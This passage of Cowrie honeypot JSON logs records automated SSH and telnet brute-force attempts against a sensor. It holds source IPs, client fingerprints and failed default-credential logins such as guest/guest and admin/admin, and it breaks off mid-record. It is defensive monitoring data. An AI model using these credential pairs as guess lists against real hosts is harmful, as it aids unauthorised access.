{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:15:04.609719Z","src_ip":"80.94.92.186","session":"9be7eeabe610","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":54216,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdd4c6850e4b","protocol":"ssh","message":"New connection: 193.32.162.151:54216 (159.203.135.109:22) [session: fdd4c6850e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:15:57.428867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:15:57.433433Z","src_ip":"193.32.162.151","session":"fdd4c6850e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:15:57.550453Z","src_ip":"193.32.162.151","session":"fdd4c6850e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:15:57.858611Z","src_ip":"193.32.162.151","session":"fdd4c6850e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:15:58.966489Z","src_ip":"193.32.162.151","session":"fdd4c6850e4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43504,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f0465aa23c4","protocol":"ssh","message":"New connection: 2.57.122.208:43504 (10.17.0.5:22) [session: 1f0465aa23c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:16:13.608379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:16:13.625765Z","src_ip":"2.57.122.208","session":"1f0465aa23c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:16:13.836989Z","src_ip":"2.57.122.208","session":"1f0465aa23c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:16:14.307764Z","src_ip":"2.57.122.208","session":"1f0465aa23c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:16:15.597381Z","src_ip":"2.57.122.208","session":"1f0465aa23c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":30084,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0412d782d69","protocol":"ssh","message":"New connection: 193.46.255.86:30084 (159.203.135.109:22) [session: f0412d782d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:02.367362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:02.373850Z","src_ip":"193.46.255.86","session":"f0412d782d69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:02.511638Z","src_ip":"193.46.255.86","session":"f0412d782d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:03.116430Z","src_ip":"193.46.255.86","session":"f0412d782d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"12345","message":"login attempt [guest/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:04.252834Z","src_ip":"193.46.255.86","session":"f0412d782d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:05.388931Z","src_ip":"193.46.255.86","session":"f0412d782d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest@123","message":"login attempt [guest/guest@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:06.524921Z","src_ip":"193.46.255.86","session":"f0412d782d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:07.660995Z","src_ip":"193.46.255.86","session":"f0412d782d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:08.796764Z","src_ip":"193.46.255.86","session":"f0412d782d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":51892,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d448cc113d3","protocol":"ssh","message":"New connection: 80.94.92.186:51892 (10.17.0.5:22) [session: 4d448cc113d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:14.057547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:14.147782Z","src_ip":"80.94.92.186","session":"4d448cc113d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:14.325001Z","src_ip":"80.94.92.186","session":"4d448cc113d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse123","message":"login attempt [lighthouse/lighthouse123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:15.275026Z","src_ip":"80.94.92.186","session":"4d448cc113d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":41798,"dst_ip":"159.203.135.109","dst_port":22,"session":"f50182954b35","protocol":"ssh","message":"New connection: 193.32.162.151:41798 (159.203.135.109:22) [session: f50182954b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:16.008745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:16.013369Z","src_ip":"193.32.162.151","session":"f50182954b35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:16.125238Z","src_ip":"193.32.162.151","session":"f50182954b35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:16.433685Z","src_ip":"193.32.162.151","session":"f50182954b35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:16.546450Z","src_ip":"80.94.92.186","session":"4d448cc113d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:17.544073Z","src_ip":"193.32.162.151","session":"f50182954b35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.110.32.33","src_port":56976,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c03651f935a","protocol":"telnet","message":"New connection: 43.110.32.33:56976 (10.17.0.5:23) [session: 5c03651f935a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:20.002259Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57228,"dst_ip":"10.17.0.5","dst_port":22,"session":"80678191ad20","protocol":"ssh","message":"New connection: 2.57.122.208:57228 (10.17.0.5:22) [session: 80678191ad20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:26.816861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:26.945693Z","src_ip":"2.57.122.208","session":"80678191ad20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:26.949135Z","src_ip":"2.57.122.208","session":"80678191ad20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:27.950791Z","src_ip":"2.57.122.208","session":"80678191ad20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:18:29.059843Z","src_ip":"2.57.122.208","session":"80678191ad20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:19:20.264084Z","src_ip":"43.110.32.33","session":"5c03651f935a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.265254974365234,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:19:20.267426Z","src_ip":"43.110.32.33","session":"5c03651f935a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":57760,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe98242c638e","protocol":"ssh","message":"New connection: 193.32.162.151:57760 (159.203.135.109:22) [session: fe98242c638e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:20:30.851081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:20:30.855266Z","src_ip":"193.32.162.151","session":"fe98242c638e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:20:30.963627Z","src_ip":"193.32.162.151","session":"fe98242c638e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapr","password":"mapr","message":"login attempt [mapr/mapr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:20:31.297690Z","src_ip":"193.32.162.151","session":"fe98242c638e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:20:32.413294Z","src_ip":"193.32.162.151","session":"fe98242c638e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47964,"dst_ip":"10.17.0.5","dst_port":22,"session":"93eb3f7db57d","protocol":"ssh","message":"New connection: 2.57.122.208:47964 (10.17.0.5:22) [session: 93eb3f7db57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:20:36.958234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:20:36.966234Z","src_ip":"2.57.122.208","session":"93eb3f7db57d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 